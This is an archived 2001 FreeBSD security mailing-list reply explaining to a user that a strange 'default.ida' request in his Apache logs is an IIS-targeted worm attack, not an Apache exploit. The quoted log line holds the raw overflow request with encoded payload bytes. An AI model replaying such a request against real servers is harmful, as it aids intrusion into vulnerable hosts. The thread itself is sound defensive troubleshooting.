Skip site navigation (1)Skip section navigation (2)
Date:      Sat, 21 Jul 2001 23:17:27 +0200
From:      Wilko Bulte <wkb@freebie.xs4all.nl>
To:        nathan@salvation.unixgeeks.com
Cc:        freebsd-security@FreeBSD.ORG
Subject:   Re: possible?
Message-ID:  <20010721231727.A20401@freebie.xs4all.nl>
In-Reply-To: <20010721204942.12010.qmail@salvation.unixgeeks.com>; from nathan@salvation.unixgeeks.com on Sat, Jul 21, 2001 at 08:49:42PM -0000
References:  <20010721204942.12010.qmail@salvation.unixgeeks.com>

next in thread | previous in thread | raw e-mail | index | archive | help
On Sat, Jul 21, 2001 at 08:49:42PM -0000, nathan@salvation.unixgeeks.com wrote:


**SIGH**

This is an attack destined for M$'s IIS, not for Apache. Please see
the Internet, half of the traffic it carries is (about) this bloody
attack.

Wilko

>  okay, today i checked my apache logs this is what i got:
> 
> 195.10.116.2 - - [19/Jul/2001:15:50:20 -0700] "GET /default.ida?NNNNNNNNNNNNNNNN
> NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
> NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
> NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN%u9090%u6858%ucbd3%u7801%u9090%u
> 6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u53
> 1b%u53ff%u0078%u0000%u00=a  HTTP/1.0" 400 332
> 
> this same exact get request came from several different address as well. such
> as: 128.138.105.172, 202.157.154.126, and a couple of others. any ideas? any
> remote exploits in apache i've missed? i'm running Apache/1.3.19 Server..
> 
> thanks in advance,
> nathan.
> 
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-security" in the body of the message
---end of quoted text---

-- 
|   / o / /  _   	Arnhem, The Netherlands    	email: wilko@FreeBSD.org
|/|/ / / /( (_) Bulte	"Youth is not a time in life, it is a state of mind"

To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-security" in the body of the message




Want to link to this message? Use this URL: <https://mail-archive.FreeBSD.org/cgi/mid.cgi?20010721231727.A20401>